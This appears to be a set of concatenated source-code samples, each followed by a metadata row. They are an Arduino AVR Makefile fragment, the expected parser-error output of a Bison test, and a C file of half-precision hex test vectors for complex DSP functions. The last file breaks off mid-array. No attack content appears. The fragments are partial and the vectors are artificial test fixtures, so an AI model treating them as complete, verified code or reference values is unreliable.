BINNAME:=$(TARGETNAME).bin
DISNAME:=$(TARGETNAME).dis
MAPNAME:=$(TARGETNAME).map
#=== replace standard tools ===
CC:=$(ARDUINO_PATH)hardware/tools/avr/bin/avr-gcc
CXX:=$(ARDUINO_PATH)hardware/tools/avr/bin/avr-g++
AR:=$(ARDUINO_PATH)hardware/tools/avr/bin/avr-gcc-ar
OBJCOPY:=$(ARDUINO_PATH)hardware/tools/avr/bin/avr-objcopy
OBJDUMP:=$(ARDUINO_PATH)hardware/tools/avr/bin/avr-objdump
SIZE:=$(ARDUINO_PATH)hardware/tools/avr/bin/avr-size
AVRDUDE = $(ARDUINO_PATH)hardware/tools/avr/bin/avrdude
#=== get values from boards.txt ===
BOARDS_TXT:=$(ARDUINO_PATH)hardware/arduino/avr/boards.txt
# get the MCU value from the $(BOARD).build.mcu variable. For the atmega328 board this is atmega328p
MCU:=$(shell sed -n -e "s/$(BOARD).build.mcu=\(.*\)/\1/p" $(BOARDS_TXT))
# get the F_CPU value from the $(BOARD).build.f_cpu variable. For the atmega328 board this is 16000000
F_CPU:=$(shell sed -n -e "s/$(BOARD).build.f_cpu=\(.*\)/\1/p" $(BOARDS_TXT))
# get variant subfolder
VARIANT:=$(shell sed -n -e "s/$(BOARD).build.variant=\(.*\)/\1/p" $(BOARDS_TXT))
UPLOAD_SPEED:=$(shell sed -n -e "s/$(BOARD).upload.speed=\(.*\)/\1/p" $(BOARDS_TXT))
# get the AVRDUDE_PROGRAMMER value from the $(BOARD).upload.protocol variable. For the atmega328 board this is stk500
UPLOAD_PROTOCOL:=$(shell sed -n -e "s/$(BOARD).upload.protocol=\(.*\)/\1/p" $(BOARDS_TXT))
# use stk500v1, because stk500 will default to stk500v2
#UPLOAD_PROTOCOL:=stk500v1
AVRDUDE_FLAGS = -V -F
AVRDUDE_FLAGS += -C $(ARDUINO_PATH)/hardware/tools/avr/etc/avrdude.conf
AVRDUDE_FLAGS += -p $(MCU)
AVRDUDE_FLAGS += -P $(AVRDUDE_PORT)
AVRDUDE_FLAGS += -c $(UPLOAD_PROTOCOL)
AVRDUDE_FLAGS += -b $(UPLOAD_SPEED)
AVRDUDE_FLAGS += -U flash:w:$(HEXNAME)
#=== get all include dirs ===
INC_DIRS:=. $(SRC_DIRS) $(ARDUINO_PATH)hardware/arduino/avr/variants/$(VARIANT)
INC_OPTS:=$(addprefix -I,$(INC_DIRS))
#=== get all source files ===
CSRC:=$(shell ls $(addsuffix *.c,$(SRC_DIRS)) 2>/dev/null)
CPPSRC:=$(shell ls $(addsuffix *.cpp,$(SRC_DIRS)) 2>/dev/null)
#=== get all obj files ===
COBJ:=$(CSRC:.c=.o)
CPPOBJ:=$(CPPSRC:.cpp=.o)
OBJ:=$(COBJ) $(CPPOBJ) $(TARGETNAME).o
#=== options ===
COMMON_FLAGS = -g -Os -DF_CPU=$(F_CPU) -mmcu=$(MCU)
COMMON_FLAGS +=-DARDUINO=10800 -DARDUINO_AVR_UNO -DARDUINO_ARCH_AVR
COMMON_FLAGS +=-ffunction-sections -fdata-sections -MMD -flto -fno-fat-lto-objects
COMMON_FLAGS +=$(INC_OPTS)
CFLAGS:=$(COMMON_FLAGS) -std=gnu99 -Wstrict-prototypes -Wall -Wextra
CXXFLAGS:=$(COMMON_FLAGS) -std=gnu++11 -fpermissive -fno-exceptions
LDFLAGS:=-g -Os -flto -fuse-linker-plugin -Wl,--gc-sections -mmcu=$(MCU)
LDLIBS:=-lm
all: $(HEXNAME) $(DISNAME)
$(SIZE) $(ELFNAME)
.PHONY: debug
debug:
@echo $(MCU) $(F_CPU) $(VARIANT) $(UPLOAD_SPEED) $(UPLOAD_PROTOCOL)
@echo $(SRC_DIRS)
@echo $(CSRC)
@echo $(CPPSRC)
@echo $(INC_OPTS)
.PHONY: clean
clean:
$(RM) $(OBJ) $(HEXNAME) $(ELFNAME) $(LIBNAME) $(DISNAME) $(MAPNAME) $(BINNAME)
.PHONY: upload
upload: $(HEXNAME)
stty -F $(AVRDUDE_PORT) hupcl
$(AVRDUDE) $(AVRDUDE_FLAGS)
# implicit rules
.ino.cpp:
@cp $< $@
.elf.hex:
@$(OBJCOPY) -O ihex -R .eeprom $< $@
# explicit rules
$(ELFNAME): $(LIBNAME)($(OBJ))
$(LINK.o) $(LFLAGS) $(LIBNAME) $(LDLIBS) -o $@
$(DISNAME): $(ELFNAME)
$(OBJDUMP) -D -S $< > $@
| Uno | 5 | a-v-s/ucglib | sys/arduino/UcgLogo/Makefile.184.uno | [
"BSD-2-Clause"
] |
At: "042.hac":7:
parse error: syntax error
parser stacks:
state value
#STATE# (null)
#STATE# list<(root_item)>: (instance-decl) ... [4:1--6:8]
#STATE# (array-concatenation) [7:1]
#STATE# = [7:3]
#STATE# { [7:5]
#STATE# list<(expr)>: (array-concatenation) ... [7:6]
#STATE# , [7:7]
#STATE# } [7:9]
in state #STATE#, possible rules are:
mandatory_complex_aggregate_reference_list: mandatory_complex_aggregate_reference_list ',' . complex_aggregate_reference (#RULE#)
acceptable tokens are:
'{' (shift)
'(' (shift)
'-' (shift)
'~' (shift)
'!' (shift)
ID (shift)
FLOAT (shift)
INT (shift)
STRING (shift)
SCOPE (shift)
BOOL_TRUE (shift)
BOOL_FALSE (shift)
| Bison | 1 | broken-wheel/hacktist | hackt_docker/hackt/test/parser/array/042.stderr.bison | [
"MIT"
] |
static const uint16_t in_com1[512] = {
0xb21b, 0xadde, 0x2c99, 0x30b9, 0x3494, 0xb456, 0xb994, 0xb76a,
0x3239, 0xab76, 0x2f4f, 0x38aa, 0x3548, 0x344c, 0xb876, 0xb690,
0x345e, 0xb64c, 0xaf70, 0xb9c6, 0xb2d3, 0x2d58, 0xb5fc, 0x3257,
0xb660, 0xb87b, 0x2a39, 0x3916, 0xadd4, 0xb63e, 0x2caf, 0xb468,
0xb2cc, 0xba2d, 0xb184, 0x3804, 0x2f27, 0x3b23, 0x2a6b, 0xa9ca,
0xb587, 0xb393, 0x2c99, 0x36a7, 0x38cb, 0xa7bc, 0xae12, 0xa4c7,
0x34f9, 0xb328, 0xb86d, 0x1793, 0x2cbf, 0x2d2f, 0x34b3, 0x3970,
0xb908, 0x3858, 0x349c, 0xb509, 0x2094, 0xb480, 0x3051, 0x3382,
0xaa20, 0xb59e, 0x3ac9, 0x38e8, 0xb702, 0x3aa2, 0xb648, 0xb44f,
0x3570, 0x30ab, 0x25b0, 0x3558, 0x3500, 0xac42, 0xa0ce, 0x2fa3,
0xb81f, 0xb6b9, 0xb914, 0xadf7, 0xb3df, 0x3559, 0x34cd, 0xba25,
0xb624, 0x3016, 0x3283, 0x324f, 0x3764, 0x2cb4, 0xb5bb, 0xb4d1,
0xae15, 0xae9c, 0xaec9, 0x3635, 0xbc00, 0x2d46, 0xa9bf, 0xb065,
0xb1c1, 0x36cb, 0x3083, 0x3727, 0xa88c, 0x38de, 0x323e, 0xb834,
0xb4d9, 0x3471, 0xade5, 0xb192, 0xb269, 0x3122, 0xb427, 0x3597,
0xb0e3, 0x3495, 0xa03d, 0x35f2, 0x2cbf, 0x3295, 0xb171, 0x346d,
0xa67c, 0x2de5, 0xb441, 0xa8c1, 0x3625, 0x2eee, 0xb68b, 0xa885,
0x383b, 0xad4d, 0x34aa, 0x2cbb, 0x369c, 0xa681, 0x3429, 0xa9b4,
0x2fe9, 0xb21b, 0xb376, 0xacff, 0x36c6, 0xb060, 0x3782, 0x3023,
0x32a6, 0x353f, 0xab41, 0x34c7, 0xb4b1, 0x3026, 0x323f, 0x2f2f,
0x3436, 0x3a31, 0x341c, 0x367a, 0x3969, 0x3836, 0x30d7, 0x352a,
0x2c32, 0xaf80, 0xa6af, 0xb52c, 0x3625, 0xb6b7, 0xb12a, 0x3416,
0x2cea, 0xb2c0, 0x3546, 0x32eb, 0xb888, 0x2f3c, 0x32f2, 0xaff9,
0x306d, 0x381b, 0x366a, 0xb07d, 0xb927, 0xaf29, 0xad41, 0xb4e3,
0xa49f, 0x3344, 0xa3e4, 0xb1e0, 0xac79, 0xab63, 0xb405, 0xb638,
0xb4a5, 0xb1e9, 0xae50, 0x3330, 0x2c33, 0xacdb, 0xb725, 0xa80d,
0x323c, 0xb94f, 0xb584, 0x2f62, 0xb605, 0x343a, 0xb21c, 0x3834,
0x2c53, 0xae4a, 0xb88f, 0x3644, 0x3635, 0x3176, 0x2ce2, 0x2aaa,
0xa2f9, 0xa0c5, 0xad82, 0x3615, 0xae7c, 0xb4b4, 0xad52, 0x3804,
0xb6db, 0x3008, 0x3471, 0x2dd1, 0xafd2, 0x340a, 0x35d1, 0x2cfc,
0xadfd, 0xb2c4, 0xb5d6, 0x34b5, 0x241b, 0x2854, 0x31a9, 0x3735,
0x3601, 0x32ff, 0xaf71, 0xaf6c, 0xb6e8, 0xb650, 0xb108, 0xb2d3,
0xb565, 0x3102, 0x3942, 0xad39, 0xb47e, 0x37e0, 0xb7c1, 0x2ef5,
0xb4b7, 0x3709, 0xa5e0, 0x365b, 0x333b, 0x3733, 0x26d8, 0x30dc,
0xaaad, 0x36ec, 0x399f, 0x38fe, 0xb4b5, 0x31e8, 0xb1aa, 0x2e4a,
0x39c8, 0xb6af, 0x365e, 0xb56d, 0x35d1, 0xb662, 0xae32, 0xb60f,
0x324f, 0x31e6, 0x366c, 0x3580, 0x2fcd, 0xacad, 0xb4a1, 0x36ab,
0x2e50, 0x31d1, 0xb585, 0x39b8, 0xba51, 0x3462, 0x38a1, 0x356a,
0x2daf, 0x2c93, 0x2a5d, 0xb784, 0xb7d6, 0x34d2, 0xb1a0, 0xb9b1,
0xb865, 0x3308, 0x37f4, 0x334b, 0xb4b0, 0xa9e3, 0x2156, 0x342e,
0xb863, 0xb124, 0x32b7, 0xb868, 0x3a60, 0xb27c, 0x35a0, 0x2d5f,
0xa8b6, 0xb0c7, 0x3685, 0x3346, 0xb45f, 0xb488, 0x2c97, 0xb9bf,
0xa4e8, 0xad5f, 0x3549, 0xa6a0, 0x2e0e, 0xb8ea, 0xb4fe, 0xb694,
0xb9e4, 0xb35d, 0xb22f, 0x35f8, 0x35bd, 0xb323, 0x3458, 0x3274,
0x386e, 0x37fe, 0x30e7, 0x390f, 0x34ec, 0xb74f, 0x3663, 0xaeb2,
0xaf95, 0x3436, 0xb566, 0x2ec5, 0x2fe8, 0x3207, 0xa3d4, 0xb233,
0xa971, 0x385f, 0x3427, 0xb0e0, 0xb329, 0xb73a, 0x3575, 0xbbc0,
0x30c9, 0x3640, 0x2fdc, 0xb8ec, 0xb1b7, 0xb0ad, 0x309e, 0x2417,
0xb103, 0x359f, 0xb12a, 0xb343, 0xb557, 0x2caf, 0xb706, 0xae0e,
0xb0ad, 0xb1d4, 0xb2a0, 0x2e44, 0x3171, 0x3257, 0xb828, 0xb436,
0x3147, 0xb063, 0x31dd, 0x2c55, 0x352f, 0x3453, 0x3961, 0xbbff,
0x3811, 0xb746, 0x2e7b, 0x290a, 0xa195, 0x2ad5, 0x33fc, 0x2e91,
0x2ccf, 0x2f71, 0x349a, 0x3403, 0xb169, 0x30c2, 0x28eb, 0xb26a,
0xb03e, 0x340c, 0x3829, 0x299c, 0xb74e, 0xb7dd, 0x3202, 0xb893,
0x2d83, 0xad17, 0x329e, 0x3a38, 0xb75e, 0x33e2, 0x3738, 0x2c55,
0xb0a5, 0xb4ab, 0xa811, 0x294e, 0xb367, 0x3695, 0xb7a7, 0xb652,
0x308b, 0x2f77, 0xaed6, 0x38d4, 0xa879, 0xb5cd, 0xb67e, 0x353a,
0xb965, 0xb134, 0x3087, 0xa906, 0x3283, 0x3492, 0x3894, 0x1e73,
0xafdf, 0x2d08, 0xabcd, 0x3940, 0xab14, 0x3339, 0xad33, 0xb5b5,
0xb7f9, 0xb21b, 0xb5a6, 0x3755, 0x24bd, 0x314f, 0x31f0, 0xb661,
0xb242, 0xb615, 0x2d94, 0x3741, 0x3290, 0x32a9, 0xb50f, 0xb560,
0xb361, 0xb7e0, 0x30a8, 0x3692, 0xac99, 0xb33d, 0xb1b7, 0x351d,
0xb03a, 0xb0a8, 0xa322, 0xa4aa, 0x2b21, 0xb5ae, 0xb68d, 0x1e57,
0x2bcb, 0xb30b, 0x2d56, 0x2de6, 0xb608, 0x32ee, 0xb361, 0xb8b1
};
static const uint16_t in_com2[512] = {
0xb05d, 0x1918, 0x3114, 0xa9f1, 0xb6ef, 0xb528, 0xa568, 0xb414,
0xb094, 0xb613, 0xb385, 0x2160, 0xb721, 0x3506, 0xb0cf, 0x2958,
0xb539, 0xac71, 0x2746, 0xb0af, 0xa8d2, 0xb591, 0x3200, 0x39cc,
0x34d8, 0xb72f, 0x35d9, 0xa975, 0x315b, 0x37ad, 0xb3b3, 0xa436,
0x347e, 0x2f67, 0x3206, 0x3644, 0xab68, 0x378d, 0x35b4, 0xad2a,
0x3389, 0xb52d, 0x2f64, 0xad48, 0xb5e5, 0xb461, 0x339d, 0x34c3,
0x324f, 0xb0d6, 0xacc5, 0x3943, 0x3346, 0x3868, 0xa4bc, 0xb738,
0x2b88, 0x3230, 0x2f7e, 0x2f77, 0x3613, 0xb28f, 0x3062, 0x3433,
0x2981, 0xbb3b, 0x2d24, 0x3a0d, 0x2c2c, 0x35c2, 0x2891, 0x2e3a,
0x3283, 0x3622, 0x2e8b, 0xb45a, 0x3829, 0x31a0, 0x32e5, 0xabb7,
0xb4aa, 0x31cd, 0xb64f, 0xb28c, 0xb1f5, 0xb6ef, 0x3c00, 0xb472,
0xb86b, 0x30bb, 0x2293, 0xb97c, 0xb698, 0x376f, 0xadc1, 0x204a,
0x3ba8, 0xa912, 0xb55a, 0x35df, 0x2ddd, 0xafd8, 0xb46b, 0x13e0,
0x376f, 0xb624, 0xb5cc, 0x2dcc, 0x38c2, 0x8dba, 0x2217, 0xb6be,
0x30b8, 0xb9fe, 0x3990, 0xb577, 0xa9f1, 0xb57a, 0x2e9a, 0x3434,
0xb117, 0xb6f9, 0x34de, 0xa00f, 0xb4bb, 0xacee, 0x999b, 0xb460,
0xe81, 0xaf5e, 0xb3a7, 0xb66f, 0x3272, 0xac88, 0x3563, 0x321f,
0xb3e3, 0xb704, 0x37db, 0xa3b5, 0xacdb, 0xba25, 0x3675, 0xb8d9,
0x2b5e, 0xaa19, 0xb14f, 0x344a, 0x30fd, 0xb045, 0x36d7, 0xb038,
0x317b, 0x2a2f, 0xb267, 0xb57a, 0xa887, 0xb470, 0xa39e, 0x344c,
0x2af5, 0xb106, 0xa582, 0x22a8, 0xb426, 0x2a43, 0xb585, 0xb437,
0xa644, 0xaeba, 0xa81c, 0x2e84, 0xaa55, 0x3298, 0xad6b, 0x3418,
0xa895, 0x3960, 0x2a8c, 0x36e1, 0xb5d5, 0xb7cc, 0xb53c, 0x3446,
0x3614, 0x2bc0, 0xa85a, 0x3436, 0x322a, 0x397d, 0xb207, 0x3093,
0xafaa, 0xb539, 0xac69, 0xb734, 0x292b, 0x3647, 0xb88b, 0x2e0d,
0xae4b, 0xa86c, 0x3438, 0x2bc4, 0x2e06, 0x3851, 0xb8e8, 0x260e,
0xb748, 0xb04d, 0x2646, 0x2fd8, 0xa2ea, 0x2fd4, 0xafee, 0x35d8,
0xb041, 0x2a9d, 0x352c, 0xb282, 0x3269, 0xb654, 0x36e3, 0xb8de,
0x1a7e, 0xa33b, 0x31d0, 0x35de, 0xad3d, 0xb73d, 0x3149, 0xb705,
0xafb5, 0xb28f, 0xae92, 0x32ce, 0x3805, 0x358b, 0xb04d, 0x344c,
0xb334, 0x3620, 0x2c00, 0x2c9b, 0x3519, 0xb856, 0x2fcd, 0x3683,
0x2eac, 0xa96d, 0xa5ff, 0xb704, 0xa2ea, 0xb970, 0xaf0c, 0xb102,
0x28b3, 0xacb3, 0x2f70, 0x22bd, 0xac24, 0x290d, 0x9ecb, 0x3692,
0x3551, 0x3402, 0xad61, 0x37a7, 0xb689, 0x2e3e, 0x38e5, 0x3202,
0xb30f, 0xb5e5, 0xba16, 0xb8b0, 0xb9ce, 0xb390, 0xabb5, 0xb503,
0x2f98, 0x30c2, 0x2444, 0x3550, 0x33ed, 0x346c, 0x353b, 0xb7c6,
0x3430, 0xadc5, 0xac45, 0x33e4, 0x2fed, 0xb7c8, 0x336d, 0x2dac,
0x3123, 0xb059, 0x30ff, 0xb1d3, 0xaa30, 0x2c71, 0xb63c, 0x3855,
0x2bf9, 0x3819, 0xb67f, 0x38c2, 0x3403, 0x18e3, 0x2ce9, 0x3644,
0x2623, 0x3727, 0xb106, 0x33f9, 0xaf7b, 0x3135, 0x31a8, 0x3717,
0x3886, 0x2cd0, 0x3939, 0xa9b1, 0x345c, 0xb804, 0x2196, 0xb900,
0x3858, 0x3791, 0xb89b, 0x2d9e, 0xb10b, 0x36e7, 0x35af, 0xba06,
0xb3fc, 0x3651, 0x3ac9, 0xb835, 0xaf72, 0xb067, 0x3062, 0x29d1,
0x2f76, 0x3299, 0xb217, 0x201f, 0xae12, 0xb30d, 0xb86f, 0x2b32,
0x3b91, 0x267e, 0xb732, 0xb6d4, 0xb85e, 0xb3f4, 0x2b5d, 0x359f,
0xbb76, 0xb8c0, 0xb818, 0xa097, 0x3170, 0xadf5, 0x34bc, 0xb360,
0x3199, 0x2c9c, 0xb207, 0x3a85, 0xb6be, 0xb41d, 0x387d, 0x2f19,
0xb093, 0xb5c0, 0xb59d, 0x3603, 0x34e7, 0x1b5e, 0x2e03, 0x380f,
0xb698, 0x348f, 0xb7f0, 0xb7e6, 0xadc0, 0xa44c, 0x2b5f, 0x3418,
0x35ae, 0x34c6, 0xb465, 0x32ec, 0x3642, 0xb3ef, 0xa943, 0xad0e,
0x367a, 0xb233, 0x27d9, 0x2a43, 0x1217, 0x2e23, 0xacc0, 0xa63c,
0xb78a, 0xaf25, 0x9308, 0xae5b, 0xa8ee, 0x285c, 0x38b1, 0x3487,
0xa733, 0x348e, 0xb7dd, 0xb8ea, 0x33fa, 0x2984, 0x386f, 0x2b15,
0x3469, 0xb239, 0x30ce, 0x359e, 0xa4be, 0x3000, 0x2cfb, 0xa61c,
0xb98d, 0x33a3, 0x3891, 0x316c, 0x364a, 0x2ca1, 0xb4d3, 0xb8af,
0x2ff5, 0xb024, 0x303a, 0xa881, 0x39f0, 0x2ca0, 0xb8a8, 0x38f7,
0x34fa, 0x34be, 0x3853, 0xb511, 0x320d, 0xb5c9, 0x3056, 0xa414,
0xb69a, 0xb0f8, 0xb394, 0xb987, 0x2143, 0xb3ff, 0xadc6, 0xb885,
0xaa9d, 0xb879, 0xba8b, 0x34a5, 0x34ab, 0xb6fd, 0xb419, 0x32e7,
0xb4ff, 0x3027, 0xb7d4, 0x2f39, 0xb41c, 0xb343, 0x31d5, 0x3328,
0x3403, 0x2ccc, 0x334c, 0x327a, 0x2fe2, 0x38e2, 0xa768, 0xb4b7,
0xb659, 0x38ca, 0x3420, 0xb6ac, 0xa621, 0xb12a, 0x303f, 0xb4c4,
0xb7b6, 0xb554, 0xa493, 0x2910, 0x3767, 0x3052, 0x34a1, 0xb407,
0xb4a6, 0xb1af, 0x3511, 0x3304, 0xb5f7, 0x2ddd, 0xaf5b, 0xb77c
};
static const uint16_t in_com3[256] = {
0x38da, 0x2cae, 0xb082, 0xbb35, 0x30c1, 0xb431, 0xb85d, 0xb907,
0x37ee, 0x2c0b, 0xb16e, 0x30ac, 0x37f2, 0x3c00, 0x3038, 0x28ab,
0x36d7, 0xb837, 0xb0e9, 0xb1c5, 0x3228, 0x3846, 0xb098, 0xb60d,
0xb632, 0xb1d2, 0x3904, 0xba43, 0x334b, 0xbb5c, 0x275f, 0x9853,
0xb72b, 0x3427, 0xb48f, 0xb185, 0x34de, 0x302d, 0xb29e, 0x3625,
0x32ac, 0xae3e, 0x2fcc, 0xb8e5, 0xabfb, 0x38eb, 0x3706, 0x3245,
0x2d30, 0x2283, 0x3423, 0xb44d, 0xb1dc, 0x2d9b, 0xb6d7, 0x34d5,
0xb38e, 0x3206, 0xadb8, 0xb4b6, 0x380d, 0x3abb, 0x2ea9, 0x3492,
0xb9ce, 0x3933, 0x394f, 0xac07, 0xb634, 0x3841, 0x3471, 0x351b,
0x2ca4, 0x3919, 0xb512, 0x2815, 0xaefa, 0xb841, 0xaf75, 0x1d56,
0xb1b4, 0x2e2c, 0xadb5, 0xb235, 0xb518, 0xb065, 0x3535, 0xb69c,
0x9fb6, 0xa1e3, 0xb5bf, 0xb516, 0x24c1, 0xb5de, 0x3319, 0x36b8,
0xa93d, 0xb5ce, 0x378a, 0xae60, 0x3538, 0x34fa, 0x3101, 0xac65,
0xae24, 0xa326, 0x38dd, 0x2dfb, 0x3547, 0x2d6e, 0x39cf, 0x33f6,
0x38f6, 0x3145, 0x29dc, 0x343b, 0xb39e, 0x3311, 0x24c0, 0xab50,
0xb0f9, 0x28ee, 0x32ac, 0xae53, 0x26f3, 0xb555, 0xb6c7, 0x382b,
0x367f, 0xb751, 0x2dc2, 0xaedd, 0x2dbd, 0xb450, 0x30f6, 0x2628,
0x3310, 0x281a, 0xb889, 0x30ab, 0xae11, 0x351b, 0xade2, 0x36ac,
0x2e04, 0x3885, 0xb4c0, 0xb2b3, 0x343d, 0x2df7, 0x38fc, 0xad7e,
0x395d, 0x2828, 0x2f8e, 0xb44f, 0x32f7, 0x32d7, 0x3706, 0x33be,
0xb6cb, 0x35a3, 0x38b5, 0xb43d, 0x3544, 0x285a, 0xb6c5, 0xb8de,
0xb56c, 0x36b8, 0x326b, 0x3546, 0xb4b5, 0xbb2f, 0x3121, 0x3037,
0x329b, 0x2efe, 0xb5e0, 0x34ae, 0xb6a1, 0xb924, 0x33a1, 0x2dc9,
0xb81a, 0x34d2, 0xb778, 0x328a, 0xb358, 0xafac, 0x370b, 0x3933,
0x3025, 0x33b7, 0xb697, 0x334d, 0x3b8a, 0xb641, 0x31d9, 0x3354,
0x300b, 0x3334, 0xb2db, 0x3709, 0xb91b, 0xb957, 0xb5a7, 0x3545,
0xb858, 0xb243, 0x8d26, 0xb58a, 0xa920, 0x34f5, 0x32df, 0xb41a,
0x341a, 0x36c5, 0xac8a, 0xb688, 0x3424, 0x39f2, 0xb542, 0xb805,
0xb868, 0x3763, 0xae4b, 0xb550, 0x3804, 0xabc0, 0xb2ff, 0x329d,
0x3813, 0x354d, 0xb099, 0x2038, 0xb41b, 0xb0f4, 0xb8db, 0x298d,
0x36a9, 0x303f, 0x39bc, 0x3a9e, 0x2f06, 0x37b2, 0xb6cc, 0xb16e,
0xae23, 0x25a7, 0xb345, 0x361d, 0x350f, 0xa71d, 0x2ee7, 0xade1
};
static const uint16_t ref_conj[512] = {
0xb21b, 0x2dde, 0x2c99, 0xb0b9, 0x3494, 0x3456, 0xb994, 0x376a,
0x3239, 0x2b76, 0x2f4f, 0xb8aa, 0x3548, 0xb44c, 0xb876, 0x3690,
0x345e, 0x364c, 0xaf70, 0x39c6, 0xb2d3, 0xad58, 0xb5fc, 0xb257,
0xb660, 0x387b, 0x2a39, 0xb916, 0xadd4, 0x363e, 0x2caf, 0x3468,
0xb2cc, 0x3a2d, 0xb184, 0xb804, 0x2f27, 0xbb23, 0x2a6b, 0x29ca,
0xb587, 0x3393, 0x2c99, 0xb6a7, 0x38cb, 0x27bc, 0xae12, 0x24c7,
0x34f9, 0x3328, 0xb86d, 0x9793, 0x2cbf, 0xad2f, 0x34b3, 0xb970,
0xb908, 0xb858, 0x349c, 0x3509, 0x2094, 0x3480, 0x3051, 0xb382,
0xaa20, 0x359e, 0x3ac9, 0xb8e8, 0xb702, 0xbaa2, 0xb648, 0x344f,
0x3570, 0xb0ab, 0x25b0, 0xb558, 0x3500, 0x2c42, 0xa0ce, 0xafa3,
0xb81f, 0x36b9, 0xb914, 0x2df7, 0xb3df, 0xb559, 0x34cd, 0x3a25,
0xb624, 0xb016, 0x3283, 0xb24f, 0x3764, 0xacb4, 0xb5bb, 0x34d1,
0xae15, 0x2e9c, 0xaec9, 0xb635, 0xbc00, 0xad46, 0xa9bf, 0x3065,
0xb1c1, 0xb6cb, 0x3083, 0xb727, 0xa88c, 0xb8de, 0x323e, 0x3834,
0xb4d9, 0xb471, 0xade5, 0x3192, 0xb269, 0xb122, 0xb427, 0xb597,
0xb0e3, 0xb495, 0xa03d, 0xb5f2, 0x2cbf, 0xb295, 0xb171, 0xb46d,
0xa67c, 0xade5, 0xb441, 0x28c1, 0x3625, 0xaeee, 0xb68b, 0x2885,
0x383b, 0x2d4d, 0x34aa, 0xacbb, 0x369c, 0x2681, 0x3429, 0x29b4,
0x2fe9, 0x321b, 0xb376, 0x2cff, 0x36c6, 0x3060, 0x3782, 0xb023,
0x32a6, 0xb53f, 0xab41, 0xb4c7, 0xb4b1, 0xb026, 0x323f, 0xaf2f,
0x3436, 0xba31, 0x341c, 0xb67a, 0x3969, 0xb836, 0x30d7, 0xb52a,
0x2c32, 0x2f80, 0xa6af, 0x352c, 0x3625, 0x36b7, 0xb12a, 0xb416,
0x2cea, 0x32c0, 0x3546, 0xb2eb, 0xb888, 0xaf3c, 0x32f2, 0x2ff9,
0x306d, 0xb81b, 0x366a, 0x307d, 0xb927, 0x2f29, 0xad41, 0x34e3,
0xa49f, 0xb344, 0xa3e4, 0x31e0, 0xac79, 0x2b63, 0xb405, 0x3638,
0xb4a5, 0x31e9, 0xae50, 0xb330, 0x2c33, 0x2cdb, 0xb725, 0x280d,
0x323c, 0x394f, 0xb584, 0xaf62, 0xb605, 0xb43a, 0xb21c, 0xb834,
0x2c53, 0x2e4a, 0xb88f, 0xb644, 0x3635, 0xb176, 0x2ce2, 0xaaaa,
0xa2f9, 0x20c5, 0xad82, 0xb615, 0xae7c, 0x34b4, 0xad52, 0xb804,
0xb6db, 0xb008, 0x3471, 0xadd1, 0xafd2, 0xb40a, 0x35d1, 0xacfc,
0xadfd, 0x32c4, 0xb5d6, 0xb4b5, 0x241b, 0xa854, 0x31a9, 0xb735,
0x3601, 0xb2ff, 0xaf71, 0x2f6c, 0xb6e8, 0x3650, 0xb108, 0x32d3,
0xb565, 0xb102, 0x3942, 0x2d39, 0xb47e, 0xb7e0, 0xb7c1, 0xaef5,
0xb4b7, 0xb709, 0xa5e0, 0xb65b, 0x333b, 0xb733, 0x26d8, 0xb0dc,
0xaaad, 0xb6ec, 0x399f, 0xb8fe, 0xb4b5, 0xb1e8, 0xb1aa, 0xae4a,
0x39c8, 0x36af, 0x365e, 0x356d, 0x35d1, 0x3662, 0xae32, 0x360f,
0x324f, 0xb1e6, 0x366c, 0xb580, 0x2fcd, 0x2cad, 0xb4a1, 0xb6ab,
0x2e50, 0xb1d1, 0xb585, 0xb9b8, 0xba51, 0xb462, 0x38a1, 0xb56a,
0x2daf, 0xac93, 0x2a5d, 0x3784, 0xb7d6, 0xb4d2, 0xb1a0, 0x39b1,
0xb865, 0xb308, 0x37f4, 0xb34b, 0xb4b0, 0x29e3, 0x2156, 0xb42e,
0xb863, 0x3124, 0x32b7, 0x3868, 0x3a60, 0x327c, 0x35a0, 0xad5f,
0xa8b6, 0x30c7, 0x3685, 0xb346, 0xb45f, 0x3488, 0x2c97, 0x39bf,
0xa4e8, 0x2d5f, 0x3549, 0x26a0, 0x2e0e, 0x38ea, 0xb4fe, 0x3694,
0xb9e4, 0x335d, 0xb22f, 0xb5f8, 0x35bd, 0x3323, 0x3458, 0xb274,
0x386e, 0xb7fe, 0x30e7, 0xb90f, 0x34ec, 0x374f, 0x3663, 0x2eb2,
0xaf95, 0xb436, 0xb566, 0xaec5, 0x2fe8, 0xb207, 0xa3d4, 0x3233,
0xa971, 0xb85f, 0x3427, 0x30e0, 0xb329, 0x373a, 0x3575, 0x3bc0,
0x30c9, 0xb640, 0x2fdc, 0x38ec, 0xb1b7, 0x30ad, 0x309e, 0xa417,
0xb103, 0xb59f, 0xb12a, 0x3343, 0xb557, 0xacaf, 0xb706, 0x2e0e,
0xb0ad, 0x31d4, 0xb2a0, 0xae44, 0x3171, 0xb257, 0xb828, 0x3436,
0x3147, 0x3063, 0x31dd, 0xac55, 0x352f, 0xb453, 0x3961, 0x3bff,
0x3811, 0x3746, 0x2e7b, 0xa90a, 0xa195, 0xaad5, 0x33fc, 0xae91,
0x2ccf, 0xaf71, 0x349a, 0xb403, 0xb169, 0xb0c2, 0x28eb, 0x326a,
0xb03e, 0xb40c, 0x3829, 0xa99c, 0xb74e, 0x37dd, 0x3202, 0x3893,
0x2d83, 0x2d17, 0x329e, 0xba38, 0xb75e, 0xb3e2, 0x3738, 0xac55,
0xb0a5, 0x34ab, 0xa811, 0xa94e, 0xb367, 0xb695, 0xb7a7, 0x3652,
0x308b, 0xaf77, 0xaed6, 0xb8d4, 0xa879, 0x35cd, 0xb67e, 0xb53a,
0xb965, 0x3134, 0x3087, 0x2906, 0x3283, 0xb492, 0x3894, 0x9e73,
0xafdf, 0xad08, 0xabcd, 0xb940, 0xab14, 0xb339, 0xad33, 0x35b5,
0xb7f9, 0x321b, 0xb5a6, 0xb755, 0x24bd, 0xb14f, 0x31f0, 0x3661,
0xb242, 0x3615, 0x2d94, 0xb741, 0x3290, 0xb2a9, 0xb50f, 0x3560,
0xb361, 0x37e0, 0x30a8, 0xb692, 0xac99, 0x333d, 0xb1b7, 0xb51d,
0xb03a, 0x30a8, 0xa322, 0x24aa, 0x2b21, 0x35ae, 0xb68d, 0x9e57,
0x2bcb, 0x330b, 0x2d56, 0xade6, 0xb608, 0xb2ee, 0xb361, 0x38b1
};
static const uint16_t ref_dot_prod_3[2] = {
0xb8ad, 0x270b
};
static const uint16_t ref_dot_prod_4n[2] = {
0xbc41, 0x328c
};
static const uint16_t ref_dot_prod_4n1[2] = {
0xc00a, 0xad5b
};
static const uint16_t ref_mag[256] = {
